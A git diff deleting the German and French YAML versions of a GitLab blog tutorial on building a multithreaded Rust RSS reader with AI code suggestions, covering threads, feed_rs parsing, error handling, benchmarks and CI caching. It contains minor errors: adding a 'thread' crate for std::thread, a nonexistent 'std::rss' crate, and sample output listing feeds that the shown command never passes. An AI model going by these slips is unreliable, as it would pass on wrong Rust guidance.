`use`-Anweisungen hinzu, um mit den Modulen `thread` und `time` zu arbeiten.\n\n```rust\n    use std::thread;\n    use std::time::Duration;\n```\n\nSchreibe den Code weiter, schließe die for-Schleife. Codevorschläge schlägt dann automatisch vor, das Thread-Alias in der Vektorvariable `threads` hinzuzufügen und bietet an, den Threads am Ende der Funktion beizutreten.\n\n```rust\n    pub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n\n        // Store threads in vector\n        let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();\n\n        // Loop over rss_feeds and spawn threads\n        for (name, url) in rss_feeds {\n            let thread_name = name.clone();\n            let thread_url = url.clone();\n            let thread = thread::spawn(move || {\n\n            });\n            threads.push(thread);\n        }\n\n        // Join threads\n        for thread in threads {\n            thread.join().unwrap();\n        }\n    }\n```\n\nFüge die Crate `thread` hinzu, erstelle den Code, führe ihn erneut aus.\n\n```shell\ncargo add thread\n\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\nZu diesem Zeitpunkt werden keine Daten verarbeitet oder gedruckt. Bevor wir die Funktion erneut hinzufügen, informieren wir uns über die neu eingeführten Keywords.\n\n### Funktionsumfänge, Threads und Closures\nMit dem vorgeschlagenen Code gilt es neue Keywords und Designmuster zu erlernen. Der Thread-Alias hat den Typ `thread:: JoinHandle`, wir können also warten, bis die Threads ([join()](https://doc.rust-lang.org/book/ch16-01-threads.html#waiting-for-all-threads-to-finish-using-join-handles)) beendet haben.\n\n`thread::spawn()` erstellt einen neuen Thread, in dem wir ein Funktionsobjekt übergeben können. In diesem Fall wird der Ausdruck [closure](https://doc.rust-lang.org/book/ch13-01-closures.html) als anonyme Funktion übergeben. Closure-Eingaben werden mit der Syntax `||` übergeben. Du erkennst den [Closure `move`](https://doc.rust-lang.org/book/ch16-01-threads.html#using-move-closures-with-threads), der die Variablen des Funktionsbereichs in den Thread-Bereich verschiebt. Dadurch wird die manuelle Angabe vermieden, welche Variablen in den neuen Funktions-/Closure-Bereich übergeben werden müssen.\n\nEinschränkung: `rss_feeds` ist eine Referenz `&`, die vom Funktions-Caller `get_feeds()` als Parameter übergeben wird. Die Variable ist nur im Funktionsbereich gültig. Provoziere diesen Fehler mit diesem Codeausschnitt:\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (key, value) in rss_feeds {\n        let thread = thread::spawn(move || {\n            println!(\"{}\", key);\n        });\n    }\n}\n```\n\n![VS-Code-Terminal, Fehler im Variablenbereich mit Referenzen und Thread-Verschiebungs-Closure](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_build_error_function_threads_variable_scopes.png){: .shadow}\n\nObwohl die Variable `key` im Funktionsbereich erstellt wurde, verweist sie auf die Variable `rss_feeds` und kann nicht in den Thread-Bereich verschoben werden. Werte, auf die über den Funktionsparameter `rss_feeds` zugegriffen wird, erfordern eine lokale Kopie mit `clone()`.\n\n![VS-Code-Terminal, Thread-Spawn mit Klon](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_thread_spawn_clone.png){: .shadow}\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (name, url) in rss_feeds {\n        let thread_name = name.clone();\n        let thread_url = url.clone();\n        let thread = thread::spawn(move || {\n            // Use thread_name and thread_url as values, see next chapter for instructions.\n```\n\n## Feed-XML in Objekttypen parsen\nAls Nächstes werden die Schritte für das Parsen des RSS-Feeds im Thread-Closure wiederholt. Füge folgende Codekommentare hinzu:\n\n1. `// Parse XML body with feed_rs parser, input in bytes`. Damit rufst du den Inhalt der RSS-Feed-URL ab und parst ihn mit den Crate-Funktionen `feed_rs`.\n2. `// Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name`: Extrahiere den Feed-Typ, indem du das Attribut `feed_type` mit dem [`feed_rs::model::FeedType`](https://docs.rs/feed-rs/latest/feed_rs/model/enum.FeedType.html) vergleichst. Dazu braucht Codevorschläge Anweisungen, in denen die genauen ENUM-Werte für den Abgleich angegeben werden.\n\n![Weise Codevorschläge an, mit bestimmten Feed-Typen abzugleichen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_feed_rs_type_condition.png){: .shadow}\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let body = reqwest::blocking::get(thread_url).unwrap().bytes().unwrap();\n            let feed = feed_rs::parser::parse(body.as_ref()).unwrap();\n\n            // Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name\n            if feed.feed_type == feed_rs::model::FeedType::RSS2 {\n                println!(\"{} is an RSS2 feed\", thread_name);\n            } else if feed.feed_type == feed_rs::model::FeedType::Atom {\n                println!(\"{} is an Atom feed\", thread_name);\n            }\n```\n\nErstelle das Programm und führe es erneut aus. Überprüfe die Ausgabe.\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\nCNCF is an RSS2 feed\nTechCrunch is an RSS2 feed\nGitLab Blog is an Atom feed\nHacker News is an RSS2 feed\n```\n\nWir überprüfen diese Ausgabe: Öffne die Feed-URLs im Browser oder sieh die heruntergeladenen Dateien an.\n\nHacker News unterstützt RSS-Version 2.0 mit `channel(title,link,description,item(title,link,pubDate,comments))`. TechCrunch und der CNCF-Blog haben eine ähnliche Struktur.\n```xml\n<rss version=\"2.0\"><channel><title>Hacker News</title><link>https://news.ycombinator.com/</link><description>Links for the intellectually curious, ranked by readers.</description><item><title>Writing a debugger from scratch: Breakpoints</title><link>https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-5/</link><pubDate>Wed, 27 Sep 2023 06:31:25 +0000</pubDate><comments>https://news.ycombinator.com/item?id=37670938</comments><description><![CDATA[<a href=\"https://news.ycombinator.com/item?id=37670938\">Comments</a>]]></description></item><item>\n```\n\nIm GitLab-Blog wird das [Atom](https://datatracker.ietf.org/doc/html/rfc4287)-Feed-Format verwendet, das RSS zwar ähnlich ist, aber eine andere Parsing-Logik erfordert.\n```xml\n<?xml version='1.0' encoding='utf-8' ?>\n<feed xmlns='http://www.w3.org/2005/Atom'>\n<!-- / Get release posts -->\n<!-- / Get blog posts -->\n<title>GitLab</title>\n<id>https://about.gitlab.com/blog</id>\n<link href='https://about.gitlab.com/blog/' />\n<updated>2023-09-26T00:00:00+00:00</updated>\n<author>\n<name>The GitLab Team</name>\n</author>\n<entry>\n<title>Atlassian Server ending: Goodbye disjointed toolchain, hello DevSecOps platform</title>\n<link href='https://about.gitlab.com/blog/2023/09/26/atlassian-server-ending-move-to-a-single-devsecops-platform/' rel='alternate' />\n<id>https://about.gitlab.com/blog/2023/09/26/atlassian-server-ending-move-to-a-single-devsecops-platform/</id>\n<published>2023-09-26T00:00:00+00:00</published>\n<updated>2023-09-26T00:00:00+00:00</updated>\n<author>\n<name>Dave Steer, Justin Farris</name>\n</author>\n```\n\n### Generische Feed-Datentypen zuordnen\nMit [`roxmltree::Document::parse`](https://docs.rs/roxmltree/latest/roxmltree/struct.Document.html) müssten wir den XML-Knotenbaum und dessen spezifische Tag-Namen verstehen. Glücklicherweise bietet [feed_rs::model::Feed](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html) ein kombiniertes Modell für RSS- und Atom-Feeds. Wir verwenden daher die Crate `feed_rs` weiter.\n\n1. Atom: Feed->Feed, Eintrag->Eintrag\n2. RSS: Kanal->Feed, Element->Eintrag\n\nZusätzlich zur obigen Zuordnung müssen wir die erforderlichen Attribute extrahieren und deren Datentypen zuordnen. Es ist hilfreich, [die Dokumentation für feed_rs::model](https://docs.rs/feed-rs/latest/feed_rs/model/index.html) zu öffnen, um die Strukturen und ihre Felder sowie Implementierungen zu verstehen. Andernfalls würden einige Vorschläge zu Fehlern bei der Typkonvertierung und Kompilierungsfehlern führen, die für die Implementierung von `feed_rs` spezifisch sind.\n\nEine [`Feed`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html)-Struktur liefert den `title`, Typ `Option<Text>` (entweder ist ein Wert festgelegt oder nichts). Eine [`Entry`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html)-Struktur bietet:\n\n1. `title`: `Option<Text>`mit [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) und dem Feld `content` als `String`.\n2. `updated`: `Option<DateTime<Utc>>` mit [`DateTime`](https://docs.rs/chrono/latest/chrono/struct.DateTime.html) mit der [`format()`-Methode](https://docs.rs/chrono/latest/chrono/struct.DateTime.html#method.format).\n3. `summary`: `Option<Text>` [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) und das Feld `content` als `String`.\n4. `links`: `Vec<Link>`, Vektor mit [`Link`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Link.html)-Elementen. Das Attribut `href` liefert die rohe URL-Zeichenfolge.\n\nNutze dieses Wissen, um die erforderlichen Daten aus den Feed-Einträgen zu extrahieren. Zur Erinnerung: Alle `Option`-Typen müssen `unwrap()` aufrufen und erfordert weitere rohe Anweisungen für Codevorschläge.\n\n```rust\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html\n                // Loop over all entries, and print\n                // title.unwrap().content\n                // published.unwrap().format\n                // summary.unwrap().content\n                // links href as joined string\n                for entry in feed.entries {\n                    println!(\"Title: {}\", entry.title.unwrap().content);\n                    println!(\"Published: {}\", entry.published.unwrap().format(\"%Y-%m-%d %H:%M:%S\"));\n                    println!(\"Summary: {}\", entry.summary.unwrap().content);\n                    println!(\"Links: {:?}\", entry.links.iter().map(|link| link.href.clone()).collect::<Vec<String>>().join(\", \"));\n                    println!();\n                }\n```\n\n![Codevorschläge zum Drucken von Feed-Eintragstypen mit spezifischen Anforderungen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_print_feed_entries_fields_with_rust_type_specifics.png){: .shadow}\n\n### Fehlerbehandlung mit der Option unwrap()\nWiederhole die mehrzeiligen Anweisungen, nachdem du das Programm erstellt und erneut ausgeführt hast. Spoiler: `unwrap()` ruft das Makro `panic!` auf und lässt das Programm abstürzen, wenn es auf leere Werte stößt. Dies kann passieren, wenn ein Feld wie `summary` in den Feed-Daten nicht festgelegt ist.\n\n```shell\nGitLab Blog is an Atom feed\nTitle: How the Colmena project uses GitLab to support citizen journalists\nPublished: 2023-09-27 00:00:00\nthread '<unnamed>' panicked at 'called `Option::unwrap()` on a `None` value', src/feed_reader.rs:40:59\n```\nMögliche Lösung: [`std::Option::unwrap_or_else`](https://doc.rust-lang.org/std/option/enum.Option.html#method.unwrap_or_else) verwenden und einen leeren String als Standardwert festlegen. Die Syntax erfordert einen Closure, der eine leere `Text`-Strukturinstanziierung zurückgibt.\n\nEs waren viele Versuche nötig, um die richtige Initialisierung zu finden. Das Übergeben nur einer leeren Zeichenfolge funktionierte nicht mit benutzerdefinierten Typen. Ich zeige dir, was ich versucht habe.\n\n```rust\n// Problem: The `summary` attribute is not always initialized. unwrap() will panic! then.\n// Requires use mime; and use feed_rs::model::Text;\n/*\n// 1st attempt: Use unwrap() to extraxt Text from Option<Text> type.\nprintln!(\"Summary: {}\", entry.summary.unwrap().content);\n// 2nd attempt. Learned about unwrap_or_else, passing an empty string.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| \"\").content);\n// 3rd attempt. summary is of the Text type, pass a new struct instantiation.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{}).content);\n// 4th attempt. Struct instantiation requires 3 field values.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{\"\", \"\", \"\"}).content);\n// 5th attempt. Struct instantation with public fields requires key: value syntax\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: \"\", src: \"\", content: \"\"}).content);\n// 6th attempt. Reviewed expected Text types in https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html and created Mime and String objects\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: String::new(), content: String::new()}).content);\n// 7th attempt: String and Option<String> cannot be casted automagically. Compiler suggested using `Option::Some()`.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(), content: String::new()}).content);\n*/\n\n// xth attempt: Solution. Option::Some() requires a new String object.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n```\n\nDies war nicht zufriedenstellend, da die Codezeile kompliziert ist und manuelle Arbeit ohne Codevorschläge erforderte. Ich ging also einen Schritt zurück: Wenn `Option` `none` ist, gibt `unwrap()` einen Fehler  aus. Ich fragte Codevorschläge in einem neuen Kommentar:\n\n```\n                // xth attempt: Solution. Option::Some() requires a new String object.\n                println!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n\n                // Alternatively, use Option.is_none()\n```\n\n![Codevorschläge hat nach Alternativen gefragt, wenn Options.is_none](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_after_complex_unwrap_or_else_ask_for_alternative_option.png){: .shadow}\n\nErgebnis: erhöhte Lesbarkeit, weniger CPU-Zyklen, die mit `unwrap()` verschwendet wurden, und eine Lernkurve .\n\nDenke daran: Füge das Speichern der XML-Daten auf der Festplatte erneut hinzu, um die Reader-App erneut abzuschließen.\n\n```rust\n                // Dump the parsed body to a file, as name-current-iso-date.xml\n                let file_name = format!(\"{}-{}.xml\", thread_name, chrono::Local::now().format(\"%Y-%m-%d-%H-%M-%S\"));\n                let mut file = std::fs::File::create(file_name).unwrap();\n                file.write_all(body.as_ref()).unwrap();\n```\n\nErstelle das Programm, führe es aus, um die Ausgabe zu überprüfen.\n\n```shell\ncargo build\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![VS-Code-Terminal, cargo run mit formatierter Ausgabe von Feed-Einträgen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\n## Benchmarks\n\n### Benchmarks für sequentielle vs. parallele Ausführung\nVergleiche die Ausführungszeit-Benchmarks, indem du jeweils fünf Samples erstellst.\n\n1. Sequentielle Ausführung. [Beispiel-Quellcode MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/1)\n2. Parallele Ausführung. [Beispiel-Quellcode MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/3)\n\n```shell\n# Sequential\ngit checkout sequential-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n0.21s user 0.08s system 11% cpu 2.585 total\n0.21s user 0.09s system 10% cpu 2.946 total\n0.19s user 0.08s system 10% cpu 2.714 total\n0.20s user 0.10s system 10% cpu 2.808 total\n```\n\n```shell\n# Parallel\ngit checkout parallel-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.19s user 0.08s system 17% cpu 1.515 total\n0.18s user 0.08s system 16% cpu 1.561 total\n0.18s user 0.07s system 17% cpu 1.414 total\n0.19s user 0.08s system 18% cpu 1.447 total\n0.17s user 0.08s system 16% cpu 1.453 total\n```\n\nDie CPU-Nutzung ist bei der parallelen Ausführung von vier RSS-Feed-Threads gestiegen, hat aber die Gesamtzeit fast halbiert. Wenn wir dies beachten, können wir unsere Kenntnisse von Rust vertiefen und den Code und die Funktionalität optimieren.\n\nBeachte, dass wir den Debug-Build über Cargo ausführen und noch nicht über die optimierten veröffentlichten Builds. Einschränkungen bei der parallelen Ausführung: Einige HTTP-Endpunkte haben Ratenbegrenzungen eingeführt.\n\nDas System, das mehrere Threads parallel ausführt, könnte ebenfalls überlastet werden\_– Threads erfordern einen Kontextwechsel im Kernel und weisen jedem Thread Ressourcen zu. Während ein Thread Rechenressourcen erhält, werden andere Threads in den Ruhezustand versetzt. Wenn zu viele Threads gespawned werden, kann dies das System verlangsamen, anstatt den Vorgang zu beschleunigen. Lösungen umfassen Entwurfsmuster wie [Arbeitswarteschlangen](https://docs.rs/work-queue/latest/work_queue/), bei denen der Caller eine Aufgabe in eine Warteschlange einfügt und eine definierte Anzahl von Worker-Threads die Aufgaben für die asynchrone Ausführung aufnimmt.\n\nRust bietet auch eine Datensynchronisation zwischen Threads, sogenannten [Channels](https://doc.rust-lang.org/rust-by-example/std_misc/channels.html). Um einen gleichzeitigen Datenzugriff zu gewährleisten, stehen [mutexes](https://doc.rust-lang.org/std/sync/struct.Mutex.html) zur Verfügung, die sichere Sperren bieten.\n\n### CI/CD mit Rust-Caching\nFüge die folgende CI/CD-Konfiguration in die Datei `.gitlab-ci.yml` ein. Der Job `run-latest` ruft `cargo run` mit URL-Beispielen für RSS-Feeds auf und misst die Ausführungszeit kontinuierlich.\n\n```\nstages:\n  - build\n  - test\n  - run\n\ndefault:\n  image: rust:latest\n  cache:\n    key: ${CI_COMMIT_REF_SLUG}\n    paths:\n      - .cargo/bin\n      - .cargo/registry/index\n      - .cargo/registry/cache\n      - target/debug/deps\n      - target/debug/build\n    policy: pull-push\n\n# Cargo data needs to be in the project directory for being cached.\nvariables:\n  CARGO_HOME:${CI_PROJECT_DIR}/.cargo\n\nbuild-latest:\n  stage: build\n  script:\n    - cargo build --verbose\n\ntest-latest:\n  stage: build\n  script:\n    - cargo test --verbose\n\nrun-latest:\n  stage: run\n  script:\n    - time cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![GitLab-CI/CD-Pipelines für Rust, Cargo-Run-Ausgabe](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/gitlab_cicd_pipeline_rust_cargo_run_output.png){: .shadow}\n\n## Wie geht es weiter?\nDieser Blogbeitrag war schwierig zu erstellen, da ich sowohl selbst fortgeschrittene Rust-Programmiertechniken erlernte als auch eine gute Lernkurve mit Codevorschlägen fand. Letzteres hilft bei der schnellen Generierung von Code, nicht nur von Textbausteinen. Nach dem Lesen dieses Blogbeitrags kennst du einige Herausforderungen und Turnarounds. Der Beispiel-Lösungscode für die Reader-App ist im Projekt [learn-rust-ai-app-reader](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader) verfügbar.\n\nDas Parsen von RSS-Feeds ist herausfordernd, da es sich um Datenstrukturen mit externen HTTP-Anforderungen und parallelen Optimierungen handelt. Als erfahrene(r) Rust-Benutzer(in) hast du dich vielleicht gefragt: `Warum verwendet er nicht die Crate std::rss?` -- Sie ist für die erweiterte asynchrone Ausführung optimiert und erlaubt es nicht, die verschiedenen Rust-Funktionen, die in diesem Blogbeitrag erläutert werden, zu zeigen und zu erklären. Versuche als Übung den Code mit der [Crate `rss`](https://docs.rs/rss/latest/rss/) neu zu schreiben.\n\n### Asynchrone Lernübungen\nWas du in diesem Blogbeitrag gelernt hast, bildet die Grundlage für zukünftige Projekte mit persistenter Speicherung und Präsentation der Daten. Hier sind ein paar Ideen, mit denen du deine Kenntnisse von Rust vertiefen und die Reader-App optimieren kannst:\n\n1. Datenspeicherung: Verwende eine Datenbank wie sqlite und RSS-Feed-Update-Tracking.\n2. Benachrichtigungen: Spawne untergeordnete Prozesse, um Benachrichtigungen in Telegram usw. auszulösen.\n3. Funktionalität: Erweitere die Reader-Typen zu REST-APIs\n4. Konfiguration: Füge Unterstützung für Konfigurationsdateien für RSS-Feeds, APIs usw. hinzu.\n5. Effizienz: Füge Unterstützung für Filter und abonnierte Tags hinzu.\n6. Bereitstellungen: Verwende einen Webserver, sammle Prometheus-Metriken und stelle auf Kubernetes bereit.\n\nIn einem zukünftigen Blogbeitrag werden wir einige dieser Ideen besprechen und zeigen, wie wir sie umsetzen können. Tauche in vorhandene RSS-Feed-Implementierungen ein und erfahre, wie du den vorhandenen Code in Rust-Bibliotheken (`crates`) nutzen kannst.\n\n### Teile dein Feedback\nWenn du [GitLab\_Duo](/gitlab-duo/) Codevorschläge verwendest, [teile deine Meinung im Feedback-Ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).\n"
-  category: KI/ML
-  tags:
-    - DevSecOps
-    - careers
-    - tutorial
-    - workflow
-    - AI/ML
-config:
-  slug: learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  featured: false
-  template: BlogPost
diff --git a/content/fr-fr/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml b/content/fr-fr/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
deleted file mode 100644
index dd8978ceb..000000000
--- a/content/fr-fr/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
+++ /dev/null
@@ -1,42 +0,0 @@
-seo:
-  title: Notions de programmation avancées en Rust, avec un coup de pouce de l'IA
-  description: "Poursuivez votre apprentissage de la programmation en Rust à l'aide de ce tutoriel pas à pas et des suggestions de code alimentées par l'IA de GitLab\_Duo."
-  ogTitle: Notions de programmation avancées en Rust, avec un coup de pouce de l'IA
-  ogDescription: "Poursuivez votre apprentissage de la programmation en Rust à l'aide de ce tutoriel pas à pas et des suggestions de code alimentées par l'IA de GitLab\_Duo."
-  noIndex: false
-  ogImage: images/blog/hero-images/codewithheart.png
-  ogUrl: >-
-    https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: >-
-    https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "Notions de programmation avancées en Rust, avec un coup de pouce de l'IA",
-            "author": [{"@type":"Person","name":"Michael Friedrich"}],
-            "datePublished": "2023-10-12",
-          }
-
-content:
-  title: Notions de programmation avancées en Rust, avec un coup de pouce de l'IA
-  description: "Poursuivez votre apprentissage de la programmation en Rust à l'aide de ce tutoriel pas à pas et des suggestions de code alimentées par l'IA de GitLab\_Duo."
-  authors:
-    - Michael Friedrich
-  heroImage: images/blog/hero-images/codewithheart.png
-  date: '2023-10-12'
-  body: "Il y a 20\_ans, pour apprendre un nouveau langage de programmation, j'installais la bibliothèque MSDN de Visual Studio\_6 avec 6\_CD-ROM. Trouver les bons algorithmes prenait du temps et nécessitait des livres et des recherches manuelles. Aujourd'hui, grâce à la collaboration à distance et à l'intelligence artificielle (IA), vous pouvez facilement créer un [espace de développement à distance](https://about.gitlab.com/blog/2023/06/26/quick-start-guide-for-gitlab-workspaces/), partager votre écran et coder en groupe. De plus, [GitLab\_Duo offre des suggestions de code](/gitlab-duo/) alimentées par l'IA, adaptées à votre style et à votre expérience, même avec peu d'informations et de contexte.\n\nCe tutoriel basé sur notre [article d'introduction à Rust](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) vous guidera dans le développement d'une application simple de lecture de flux.\n\n- [Préparations](#preparations)\n    - [Suggestions de code](#code-suggestions)\n- [Ressources Rust](#continue-learning-rust)\n    - [Création de l'application de lecture de flux](#hello-reader-app)\n    - [Initialisation du projet](#initialize-project)\n    - [Définition des URL des flux RSS](#define-rss-feed-urls)\n- [Modules](#modules)\n    - [Appel des fonctions du module dans main()](#call-the-module-function-in-main)\n- [Crates](#crates)\n    - [feed-rs pour analyser un flux XML](#feed-rs-parse-xml-feed)\n- [Configuration du runtime\_: arguments de programme](#runtime-configuration-program-arguments)\n    - [Gestion des erreurs d'intrants saisies par l'utilisateur](#user-input-error-handling)\n- [Persistance et stockage des données](#persistance-and-data-storage)\n- [Optimisation](#optimization)\n    - [Exécution asynchrone](#asynchronous-execution)\n    - [Création de threads](#spawning-threads)\n    - [Portées, threads et fermetures des fonctions](#function-scopes-threads-and-closures)\n- [Analyse du flux XML dans les types d'objets](#parse-feed-xml-into-object-types)\n    - [Cartographie des types de données de flux génériques](#map-generic-feed-data-types)\n    - [Gestion des erreurs avec Option::unwrap()](#error-handling-with-option-unwrap)\n- [Benchmarks](#benchmarks)\n    - [Benchmark entre exécution séquentielle et exécution parallèle](#sequential-vs-parallel-execution-benchmark)\n    - [CI/CD avec mise en cache Rust](#cicd-with-rust-caching)\n- [Étapes suivantes](#what-is-next)\n    - [Exercices d'apprentissage de l'exécution asynchrone](#async-learning-exercices)\n    - [Votre retour d'expérience](#share-your-feedback)\n\n## Préparations\nConfigurez [VS Code](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#vs-code) et [votre environnement de développement Rust](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#development-environment-for-rust).\n\n### Suggestions de code\nVérifiez les suggestions de code avant de les accepter. GitLab\_Duo génère des suggestions de code en temps réel que vous pouvez accepter en appuyant sur`tab`. Notez qu'il est plus fiable d'écrire du nouveau code que de réusiner un code existant. Notez aussi que l'IA peut proposer des suggestions différentes pour le même code. Les suggestions de code sont en version bêta, avec des améliorations continues. Tenez compte des [limitations connues](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations) qui peuvent affecter votre apprentissage.\n\n**Astuce\_:** les suggestions de code prennent désormais en charge les instructions multilignes. Affinez les spécifications si besoin pour obtenir de meilleures suggestions.\n\n```rust\n    // Create a function that iterates over the source array\n    // and fetches the data using HTTP from the RSS feed items.\n    // Store the results in a new hash map.\n    // Print the hash map to the terminal.\n```\n\nLe volet de l'extension VS Code s'affiche lorsqu'une suggestion est proposée. Utilisez `tab` pour accepter les lignes suggérées, ou `cmd cursor right` pour accepter un mot. Le menu à trois points vous permet d'afficher la barre d'outils à tout moment.\n\n![Volet de l'extension VS Code des suggestions de code de GitLab\_Duo avec des instructions](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_code_suggestions_options_overlay_keep_toolbar.png){: .shadow}\n\n## Ressources Rust\nRust est l'un des [langages pris en charge par les suggestions de code](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages). Le tutoriel [«\_Rust by Example\_»](https://doc.rust-lang.org/rust-by-example/) et le [livre officiel «\_Le langage de programmation Rust\_»](https://doc.rust-lang.org/book/) sont une bonne aide pour les débutants. Nous les utiliserons également dans cet article.\n\n### Création d'une application de lecture de flux\nIl existe plusieurs façons d'apprendre Rust en créant une application. Vous pouvez utiliser des bibliothèques Rust, appelées `Crates`. Nous les explorerons pus tard dans ce tutoriel. Vous pouvez aussi créer une application pour traiter des fichiers image en ligne de commande, résoudre un labyrinthe ou des Sudokus, ou même développer des jeux. Le livre [Hands-on Rust](https://hands-on-rust.com/) apprend Rust par la création d'un jeu d'exploration de donjon. Ma collègue, Fatima Sarah Khalid, a conçu [Dragon Realm en C++ en s'aidant de l'IA](/blog/2023/08/24/building-a-text-adventure-using-cplusplus-and-code-suggestions/).\n\nNous allons construire une application pour collecter des informations depuis des versions de sécurité, des articles de blog et des forums comme Hacker News, via des flux RSS. Nous filtrerons certains mots-clés ou des versions spécifiques dans ces flux. Voici ce que notre application devra faire\_:\n\n1. Récupérer des données depuis des sites web HTTP, API REST, mais surtout depuis des flux RSS.\n2. Analyser les données.\n3. Présenter les données à l'utilisateur ou les sauvegarder.\n4. Optimiser la lecture des flux.\n\nLes données fournies par l'application dans notre exemple sont présentées dans cet article, après les étapes d'apprentissage\_:\n\n![Terminal VS Code, exécution de Cargo avec des sorties d'éléments formatées](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\nL'application doit être modulaire, servant de base pour ajouter d'autres données, filtres et hooks pour des actions ultérieures.\n\n### Initialisation du projet\nRappel\_: `cargo init` dans la racine du projet crée la structure du fichier, y compris le point d'entrée `main()`. Nous allons créer et utiliser des modules Rust à l'étape suivante.\n\nD'abord, créez un répertoire nommé `learn-rust-ai-app-reader`, ouvrez-le et exécutez `cargo init`, ce qui initialise également (`git init`) un dépôt Git local. Configurez ensuite le dépôt distant avec l'URL par exemple `https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader`, ajustez le chemin de votre espace de nommage, et effectuez un push pour [créer automatiquement un nouveau projet privé sur GitLab](https://docs.gitlab.com/ee/user/project/#create-a-new-project-with-git-push).\n\n```shell\nmkdir learn-rust-ai-app-reader\ncd learn-rust-ai-app-reader\n\ncargo init\n\ngit remote add origin https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader.git\ngit push --set-upstream origin main\n```\n\nOuvrez VS Code à partir du répertoire créé. La CLI `code` ouvre une fenêtre VS Code sur macOS.\n\n```shell\ncode .\n```\n\n### Définition des URL des flux RSS\nAjoutez une table de hachage pour stocker les URL des flux RSS dans le fichier `src/main.rs` dans la fonction `main()`. 